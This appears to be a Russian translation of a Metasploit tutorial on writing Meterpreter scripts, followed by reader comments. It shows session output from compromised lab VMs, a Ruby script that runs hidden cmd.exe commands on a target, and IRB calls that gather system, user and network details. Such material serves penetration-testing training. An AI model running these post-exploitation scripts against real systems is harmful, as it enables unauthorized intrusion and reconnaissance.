PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 6, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0706 ProgramFiles=C:\Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:\WINNT TEMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp TMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp USERDOMAIN=TARGET USERNAME=P0WN3D USERPROFILE=C:\Documents and Settings\P0WN3D windir=C:\WINNT [*] running command ipconfig /all [*] Windows 2000 IP Configuration Host Name . . . . . . . . . . . . : target Primary DNS Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : localdomain Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : localdomain Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter Physical Address. . . . . . . . . : 00-0C-29-85-81-55 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IP Address. . . . . . . . . . . . : 172.16.104.145 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.16.104.2 DHCP Server . . . . . . . . . . . : 172.16.104.254 DNS Servers . . . . . . . . . . . : 172.16.104.2 Primary WINS Server . . . . . . . : 172.16.104.2 Lease Obtained. . . . . . . . . . : Tuesday, August 25, 2009 10:53:48 PM Lease Expires . . . . . . . . . . : Tuesday, August 25, 2009 11:23:48 PM [*] running command arp -a [*] Interface: 172.16.104.145 on Interface 0x1000003 Internet Address Physical Address Type 172.16.104.2 00-50-56-eb-db-06 dynamic 172.16.104.150 00-0c-29-a7-f1-c5 dynamic meterpreter >
Окончательный вариант сценария будет выглядеть так:
def list_exec(session,cmdlst) print_status("Running Command List ...") r='' session.response_timeout=120 cmdlst.each do |cmd| begin print_status "running command #{cmd}" r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) print_status("t#{d}") end r.channel.close r.close rescue ::Exception => e print_error("Error Running Command #{cmd}: #{e.class} #{e}") end end end commands = [ "set", "ipconfig /all", "arp -a"] list_exec(client,commands)
Как вы можете видеть создание пользовательских сценариев Meterpreter не так сложно в освоении, если все выполнять шаг за шагом, опираясь на предыдущие успешные результаты.
API вызовы, которые могут пригодиться.
Мы рассмотрим некоторые общие API вызовы для написания сценариев Meterpreter и напишем свой сценарий использующий некоторые из этих вызовов. Для лучшего понимания API вызовов в дальнейших примерах, look at the Command Dispatcher code and the REX documentation that was mentioned earlier.
Для нас проще всего воспользоваться оболочкой irb, чтобы непосредственно в ней тестировать API вызовы и анализировать результат возврата на эти вызовы. Запускаем оболочку, выполнив команду 'irb' из Meterpreter.
meterpreter > irb [*] Starting IRB shell [*] The 'client' variable holds the meterpreter client »
Мы начнем с вызова получения информации о целевом хосте. Вызовом API для этого будет "client.sys.config.sysinfo '
>> client.sys.config.sysinfo => {"OS"=>"Windows XP (Build 2600, Service Pack 3).", "Computer"=>"WINXPVM01"} >>
Как мы можем видеть в IRB ряд значений были возвращены. Если мы хотим знать тип возвращаемых значений, мы можем использовать объект класса, чтобы узнать, что возвращается:
>> client.sys.config.sysinfo.class => Hash >>
Как видно это hash. Мы можем вызывать нужные элементы через специальный ключ. Скомандуем показать только версию операционной системы.
>> client.sys.config.sysinfo['OS'] => "Windows XP (Build 2600, Service Pack 3)." >>
Теперь давайте взглянем на полномочия в системе с которыми запущена полезная нагрузка. Для этого воспользуемся вызовом API 'client.sys.config.getuid'.
>> client.sys.config.getuid => "WINXPVM01\labuser" >>
Чтобы получить идентификатор процесса под которым работает сессия, мы используем вызов 'client.sys.process.getpid', который может быть использован, чтобы убедиться, что процесс сессии работает.
>> client.sys.process.getpid => 684
Мы можем использовать API вызовов в разделе 'client.sys.net' для сбора информации о конфигурации сети и окружающей среды на целевом компьютере. Чтобы получить список интерфейсов и их конфигурации мы используем 'client.net.config.interfaces' вызова API :
>> client.net.config.interfaces => [#, #] >> client.net.config.interfaces.class => Array
Как можно видеть, возвращается массив объектов, которые имеют тип Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface, что представляет из себя каждый из сетевых интерфейсов. Мы можем выполнить поиск по этому массиву объектов и получить информацию о каждом из интерфейсов, так:
>> interfaces = client.net.config.interfaces => [#, #] >> interfaces.each do |i| ?> puts i.pretty >> end MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0c:29:dc:aa:e4 IP Address : 192.168.1.104 Netmask : 255.255.255.0
Полезные функции.
Давайте посмотрим на некоторые другие функции, которые могут быть полезны в построении сценариев Meterpreter. Используйте их по мере необходимости.
Великолепный, мощнейший сайт!! качество перевода выше всяких похвал. Пожалуйста небросайте проект!!!!! Больше переводов статей!!! материал один из уникальных!!! Проверяю каждый день, читаю статьи и учусь. Для специалистов по ИБ бесценный опыт!!!
Успехов и больше материалов! Спасибо за ваш труд.
с ув D13.
Спасибо за отзыв, сейчас, кстати, вот-вот должен выйти BackTrack4 final, там много чего интересного должно быть о чем можно написать.